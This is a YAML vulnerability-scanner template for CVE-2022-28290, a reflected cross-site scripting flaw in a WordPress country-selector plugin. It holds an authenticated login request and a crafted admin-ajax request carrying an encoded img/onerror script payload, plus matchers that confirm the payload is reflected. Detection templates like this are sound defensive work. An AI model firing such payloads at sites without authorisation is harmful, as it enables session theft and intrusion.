62 lines
2.2 KiB
YAML
62 lines
2.2 KiB
YAML
id: CVE-2022-28290
|
|
|
|
info:
|
|
name: WordPress Country Selector <1.6.6 - Cross-Site Scripting
|
|
author: Akincibor
|
|
severity: medium
|
|
description: |
|
|
WordPress Country Selector plugin prior to 1.6.6 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the country and lang parameters before outputting them back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479
|
|
- https://cybersecurityworks.com/zerodays/cve-2022-28290-reflected-cross-site-scripting-in-welaunch.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-28290
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-28290
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00099
|
|
cpe: cpe:2.3:a:welaunch:wordpress_country_selector:1.6.5:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 2
|
|
framework: wordpress
|
|
vendor: welaunch
|
|
product: wordpress_country_selector
|
|
tags: wordpress-country-selector,wpscan,cve,cve2022,wp,wordpress,wp-plugin,xss
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
- |
|
|
POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/2
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
country=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&lang=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&site_locate=en-US
|
|
|
|
cookie-reuse: true
|
|
skip-variables-check: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<img src=x onerror=alert(document.domain)>'
|
|
- 'country_selector_'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|